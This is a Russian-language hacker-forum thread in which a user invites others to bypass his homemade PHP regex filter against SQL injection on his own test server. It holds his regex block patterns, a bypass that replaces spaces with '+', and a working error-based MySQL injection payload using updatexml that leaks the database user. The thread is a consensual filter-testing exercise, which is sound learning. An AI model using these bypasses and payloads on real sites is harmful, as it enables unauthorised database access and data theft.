ByPass WAF

Discussion in 'Уязвимости' started by Filipp, 15 Feb 2016.

  1. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Доброго время суток, уважаемые античатовцы. Я вот тут наговнокодил мини-фильтрацию от скуль на PHP, хочу проверить насколько он дырявый.
    Господа скульщики, не поможете с этим делом?
    URL: http://185.86.76.169/
    Вроде с GET'ом все легко и просто, там достаточно поставить фильтрацию от всех символов кроме букв и цифр, но пока этого не сделал, оставил и в GET'e фильтрацию по словам. Самое интересное заключается в POST параметре, ибо излишния фильтрация будет во вред нормальной работе. Специально для этих дел формочку сверстал.
    Ну как то так.. Не верю что говорю это, но надо учиться защитаться от таких уродов как мы.
    P.S Я знаю что фильтрация на приходящие запросы не обьективна для фикса скули, но все же.
     
    1. yarbabin

      yarbabin HACKIN YO KUT

      Joined:
      21 Nov 2007
      Messages:
      1,663
      Likes Received:
      914
      Reputations:
      363
      с кодом было бы все проще)
       
      _________________________
      1. t0ma5

        t0ma5 Reservists Of Antichat

        Joined:
        10 Feb 2012
        Messages:
        829
        Likes Received:
        815
        Reputations:
        90
        какой то неадекватный фильтр для post
        блокирует запрос "ololo ololo"

        но пропускает апостроф и выдает ошибку запроса
        'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

        согласен с yarbabin, лучше бы исходники глянуть
         
        _________________________
        1. Filipp

          Filipp Elder - Старейшина

          Joined:
          10 May 2015
          Messages:
          257
          Likes Received:
          57
          Reputations:
          31
          Спасибо, пофиксил для поста. Вот фильтрация для GET'а:
          PHP:
          preg_match('/(and|or|union|where|limit|group by|select|\'|\"|dbms|hex|substr|%|{|0x|,|version(|)information.shema|\/\*\*\/|\s)/i'$sql);
          А вот для POST'а:
          PHP:
          preg_match('/( union|\/\*\*\/|from\(| limit 0|group by|select\(|select |hex| substr|0x|information.schema|version\(|extractvalue|concat\(|..\/|\$\{|\s)/i'$param);
           
          #4 Filipp, 16 Feb 2016
          Last edited: 16 Feb 2016
          1. t0ma5

            t0ma5 Reservists Of Antichat

            Joined:
            10 Feb 2012
            Messages:
            829
            Likes Received:
            815
            Reputations:
            90
            не могу понять в какое место в запросе(post) данные попадают..
            апостроф также не фильтруется, большинство проверок обходятся через замену пробела на +
            /( union|\/\*\*\/|from\(| limit 0|group by|select\(|select |hex| substr|0x|information.schema|version\(|extractvalue|concat\(|..\/|\$\{|\s)/i

            +union from+ +limit+0 select+ concat+( и тд.
             
            _________________________
            Filipp likes this.
            1. Filipp

              Filipp Elder - Старейшина

              Joined:
              10 May 2015
              Messages:
              257
              Likes Received:
              57
              Reputations:
              31
              Мда.. Ну, понятно.. Фильтрация дерьмо. Ладно, спасибо.. Придумаю что-то покруче.
               
              1. psihoz26

                psihoz26 Members of Antichat

                Joined:
                22 Nov 2010
                Messages:
                545
                Likes Received:
                159
                Reputations:
                324
                не изобретайте велосипед в пхп есть куча функций нормально отфильтрующих юзеринпут


                Code:
                URL: http://185.86.76.169/
                POST DATA: sql=qwe'||updatexml(1,EXPORT_SET(1,':',user(),'',2),1)||'
                
                а вот то-что MySQL из под root это вообще беда.
                 
                #7 psihoz26, 16 Feb 2016
                Last edited: 16 Feb 2016
                Waki, Filipp and t0ma5 like this.
                1. yarbabin

                  yarbabin HACKIN YO KUT

                  Joined:
                  21 Nov 2007
                  Messages:
                  1,663
                  Likes Received:
                  914
                  Reputations:
                  363
                  и это не один вариант байпасса. в мускуле же миллион функций
                   
                  _________________________
                  Filipp likes this.